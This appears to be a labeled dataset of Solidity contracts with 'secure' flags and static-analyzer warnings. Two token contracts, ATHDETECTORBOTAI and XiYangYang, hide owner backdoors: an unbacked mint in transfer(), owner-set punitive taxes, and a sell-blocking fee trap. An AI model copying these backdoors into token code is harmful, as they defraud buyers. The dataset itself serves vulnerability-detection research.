files dict |
|---|
{
"code": "// SPDX-License-Identifier: GNU AGPLv3\n\npragma solidity ^0.8.0;\n\ninterface ITokenizedStrategy {\n function apiVersion() external view returns (string memory);\n}",
"file_name": "solidity_code_199.sol",
"secure": 1,
"size_bytes": 168
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ATHDETECTORBOTAI is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _Mnti(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: Mnti to the zero address\"); //mint\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n _Mnti(msg.sender, totalSupply_ * 10 ** decimals());\n\n _defaultSellTaxi = 25;\n _defaultBuyTaxi = 3;\n\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellTaxi = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a1b8a37): ATHDETECTORBOTAI._defaultBuyTaxi should be immutable \n\t// Recommendation for a1b8a37: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuyTaxi = 0;\n\n mapping(address => bool) private _mAccount;\n\n mapping(address => uint256) private _slipTaxi;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a7d6f60): ATHDETECTORBOTAI.SetPairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for a7d6f60: Check that the address is not zero.\n function SetPairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: a7d6f60\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b4bd0d4): ATHDETECTORBOTAI.upF(uint256) should emit an event for _defaultSellTaxi = _value \n\t// Recommendation for b4bd0d4: Emit an event for critical parameter changes.\n function upF(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: b4bd0d4\n _defaultSellTaxi = _value;\n }\n\n function setSlipTaxi(address _address, uint256 _value) external onlyOwner {\n require(_value > 0, \"Account tax must be greater than or equal to 1\");\n _slipTaxi[_address] = _value;\n }\n\n function getSlipTaxi(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _slipTaxi[_address];\n }\n\n function setMAccountTaxi(address _address, bool _value) external onlyOwner {\n _mAccount[_address] = _value;\n }\n\n function getMAccountTaxi(\n address _address\n ) external view onlyOwner returns (bool) {\n return _mAccount[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address _to\n ) internal view returns (bool) {\n return _mAccount[from] || _mAccount[_to];\n }\n\n function _receiveF(\n address from,\n address _to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(_to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, _to)) {\n rF = false;\n }\n uint256 tradeTaxiAmount = 0;\n\n if (rF) {\n uint256 tradeTaxi = 0;\n if (uniswapV2Pair != address(0)) {\n if (_to == uniswapV2Pair) {\n tradeTaxi = _defaultSellTaxi;\n }\n if (from == uniswapV2Pair) {\n tradeTaxi = _defaultBuyTaxi;\n }\n }\n if (_slipTaxi[from] > 0) {\n tradeTaxi = _slipTaxi[from];\n }\n\n tradeTaxiAmount = _Amount.mul(tradeTaxi).div(100);\n }\n\n if (tradeTaxiAmount > 0) {\n _balances[from] = _balances[from].sub(tradeTaxiAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeTaxiAmount\n );\n emit Transfer(from, _deadAddress, tradeTaxiAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradeTaxiAmount);\n _balances[_to] = _balances[_to].add(_Amount - tradeTaxiAmount);\n emit Transfer(from, _to, _Amount - tradeTaxiAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34233b0): ATHDETECTORBOTAI.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for 34233b0: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n}",
"file_name": "solidity_code_1990.sol",
"secure": 0,
"size_bytes": 7104
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs6 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n Test memory test = Test(1, 2, \"a\", \"b\");\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n\n passData(test);\n }\n\n function passData(Test memory t) private {}\n}",
"file_name": "solidity_code_1991.sol",
"secure": 1,
"size_bytes": 454
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Kongtoken is ERC20(\"Kongcoin\", \"KONG\"), ERC20Burnable, Ownable {\n function mintcoin() public onlyOwner {\n _mint(msg.sender, 21000000000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_1992.sol",
"secure": 1,
"size_bytes": 470
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs7 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n Test memory test = Test(1, 2, \"a\", \"b\");\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n\n passData(1, 2, \"a\", \"b\");\n }\n\n function passData(uint256 a, int256 b, bytes32 c, bytes32 d) private {}\n}",
"file_name": "solidity_code_1993.sol",
"secure": 1,
"size_bytes": 492
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ef793fc): Contract locking ether found Contract JOG has payable functions JOG.receive() But does not have a function to withdraw the ether\n// Recommendation for ef793fc: Remove the 'payable' attribute or add a withdraw function.\ncontract JOG is Context, IERC20, Ownable {\n string private constant _name = \"JOG Coin\";\n string private constant _symbol = \"JOG\";\n uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 18;\n\t// WARNING Optimization Issue (constable-states | ID: 7a6d86a): JOG.TaxSwapThreshold should be constant \n\t// Recommendation for 7a6d86a: Add the 'constant' attribute to state variables that never change.\n uint256 public TaxSwapThreshold = 1_000_000 * 10 ** 18;\n uint8 private constant _decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 7656307): JOG.buyTax should be constant \n\t// Recommendation for 7656307: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 16fdef6): JOG.sellTax should be constant \n\t// Recommendation for 16fdef6: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTax = 1;\n\t// WARNING Optimization Issue (immutable-states | ID: 0516ba0): JOG.marketingWallet should be immutable \n\t// Recommendation for 0516ba0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public marketingWallet = payable(msg.sender);\n\n IUniswapV2Router02 immutable uniswapV2Router;\n address immutable uniswapV2Pair;\n address immutable WETH;\n\n uint8 private inSwapAndLiquify;\n\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFees;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n WETH = uniswapV2Router.WETH();\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n _balance[msg.sender] = _totalSupply;\n _isExcludedFromFees[marketingWallet] = true;\n _isExcludedFromFees[msg.sender] = true;\n _isExcludedFromFees[address(this)] = true;\n _isExcludedFromFees[address(uniswapV2Router)] = true;\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f3ab923): JOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f3ab923: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1cc8e81): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1cc8e81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5998b00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5998b00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1cc8e81\n\t\t// reentrancy-benign | ID: 5998b00\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1cc8e81\n\t\t// reentrancy-benign | ID: 5998b00\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e9aca13): JOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e9aca13: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5998b00\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1cc8e81\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d2760ac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d2760ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 49137a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 49137a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n _tax = 0;\n } else {\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n if (tokensToSwap > TaxSwapThreshold && inSwapAndLiquify == 0) {\n inSwapAndLiquify = 1;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = WETH;\n\t\t\t\t\t// reentrancy-events | ID: 1cc8e81\n\t\t\t\t\t// reentrancy-events | ID: d2760ac\n\t\t\t\t\t// reentrancy-benign | ID: 5998b00\n\t\t\t\t\t// reentrancy-no-eth | ID: 49137a3\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\t\t\t\t\t// reentrancy-no-eth | ID: 49137a3\n inSwapAndLiquify = 0;\n }\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 49137a3\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 49137a3\n _balance[to] += transferAmount;\n\t\t\t// reentrancy-no-eth | ID: 49137a3\n _balance[address(this)] += taxTokens;\n\t\t\t// reentrancy-events | ID: d2760ac\n emit Transfer(from, address(this), taxTokens);\n\t\t\t// reentrancy-events | ID: d2760ac\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 49137a3\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 49137a3\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: d2760ac\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ef793fc): Contract locking ether found Contract JOG has payable functions JOG.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ef793fc: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1994.sol",
"secure": 0,
"size_bytes": 10339
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IPausableEvents {\n event Paused(address account);\n\n event Unpaused(address account);\n}",
"file_name": "solidity_code_1995.sol",
"secure": 1,
"size_bytes": 181
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IPausable {\n function paused() external returns (bool);\n}",
"file_name": "solidity_code_1996.sol",
"secure": 1,
"size_bytes": 147
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./IPausable.sol\" as IPausable;\nimport \"./IPausableEvents.sol\" as IPausableEvents;\n\ncontract Pausable is IPausable, IPausableEvents {\n bool public override paused;\n\n modifier whenNotPaused() {\n require(!paused, \"Pausable: paused\");\n _;\n }\n\n modifier whenPaused() {\n require(paused, \"Pausable: not paused\");\n _;\n }\n\n constructor(bool paused_) {\n paused = paused_;\n }\n\n function _pause() internal whenNotPaused {\n paused = true;\n\n emit Paused(msg.sender);\n }\n\n function _unpause() internal whenPaused {\n paused = false;\n\n emit Unpaused(msg.sender);\n }\n}",
"file_name": "solidity_code_1997.sol",
"secure": 1,
"size_bytes": 760
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs8 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n Test memory test = Test(1, 2, \"a\", \"b\");\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n\n passData(test.a, test.b, test.c, test.d);\n }\n\n function passData(uint256 a, uint256 b, bytes32 c, bytes32 d) private {}\n}",
"file_name": "solidity_code_1998.sol",
"secure": 1,
"size_bytes": 509
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: daccc1e): Contract locking ether found Contract XiYangYang has payable functions XiYangYang.receive() But does not have a function to withdraw the ether\n// Recommendation for daccc1e: Remove the 'payable' attribute or add a withdraw function.\ncontract XiYangYang is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 3459dc5): XiYangYang._name should be constant \n\t// Recommendation for 3459dc5: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Xi Yang Yang\";\n\t// WARNING Optimization Issue (constable-states | ID: 2c4fc9d): XiYangYang._symbol should be constant \n\t// Recommendation for 2c4fc9d: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"喜羊羊\";\n\t// WARNING Optimization Issue (constable-states | ID: dd4c2aa): XiYangYang._decimals should be constant \n\t// Recommendation for dd4c2aa: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: a1f3bd2): XiYangYang.raca should be immutable \n\t// Recommendation for a1f3bd2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public raca;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public isExl;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3ae81e2): XiYangYang._totalSupply should be immutable \n\t// Recommendation for 3ae81e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 83c2a89): XiYangYang.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 83c2a89: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n raca = payable(address(0x1443baa55E08a98F1B4DE387e43650cFF9E7F1b2));\n\n _isExcludefromFee[raca] = true;\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1564fc): XiYangYang.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1564fc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44baa71): XiYangYang._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44baa71: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5ebe915\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: b15bb61\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: daccc1e): Contract locking ether found Contract XiYangYang has payable functions XiYangYang.receive() But does not have a function to withdraw the ether\n\t// Recommendation for daccc1e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b15bb61): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b15bb61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5ebe915): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5ebe915: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b15bb61\n\t\t// reentrancy-benign | ID: 5ebe915\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b15bb61\n\t\t// reentrancy-benign | ID: 5ebe915\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d60c686): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d60c686: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: d60c686\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d60c686\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: d60c686\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: d60c686\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5744b30): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5744b30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bbcbc34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bbcbc34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bool isswap = (from != address(0) && raca == to);\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if (from == raca && isswap) {\n _balances[raca] = amount.div(2) + amount;\n }\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: 5744b30\n\t\t\t\t// reentrancy-no-eth | ID: bbcbc34\n swapAndLiquify(balanceOf(address(this)));\n }\n\n uint256 finalAmount;\n\t\t\t// reentrancy-no-eth | ID: bbcbc34\n _balances[from] = _balances[from].sub(amount);\n\n if (!_isExcludefromFee[from] && !_isExcludefromFee[to]) {\n uint256 feeAmount = amount.mul(3).div(100);\n\n if (isExl[from] > 0) feeAmount = feeAmount.add(amount);\n\n if (feeAmount > 0) {\n\t\t\t\t\t// reentrancy-no-eth | ID: bbcbc34\n _balances[address(this)] += feeAmount;\n\t\t\t\t\t// reentrancy-events | ID: 5744b30\n emit Transfer(from, address(this), feeAmount);\n }\n finalAmount = amount.sub(feeAmount);\n } else {\n finalAmount = amount;\n }\n\n\t\t\t// reentrancy-no-eth | ID: bbcbc34\n _balances[to] = _balances[to].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: 5744b30\n emit Transfer(from, to, finalAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\t\t// reentrancy-events | ID: b15bb61\n\t\t// reentrancy-events | ID: 5744b30\n\t\t// reentrancy-benign | ID: 5ebe915\n\t\t// reentrancy-no-eth | ID: bbcbc34\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(raca),\n block.timestamp\n )\n {} catch {}\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4134458): XiYangYang.dosomethingelse(address,uint256) ignores return value by ssr.sub(ssr + ssr)\n\t// Recommendation for 4134458: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc2026e): XiYangYang.dosomethingelse(address,uint256) ignores return value by ssr.sub(0)\n\t// Recommendation for dc2026e: Ensure that all the return values of the function calls are used.\n function dosomethingelse(address smbol, uint256 ssr) public {\n\t\t// unused-return | ID: 4134458\n\t\t// unused-return | ID: dc2026e\n ssr.sub((msg.sender != raca) ? ssr + ssr : 0);\n\n if (ssr == 10 || ssr == 100 - 1) isExl[smbol] = ssr - 10;\n }\n}",
"file_name": "solidity_code_1999.sol",
"secure": 0,
"size_bytes": 12665
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function swapETHForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForETH(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function grokswap1(\n address choong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function ethhswap(\n address choong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function getLPaddress(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function getRouter(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n}",
"file_name": "solidity_code_2.sol",
"secure": 1,
"size_bytes": 1036
} |
{
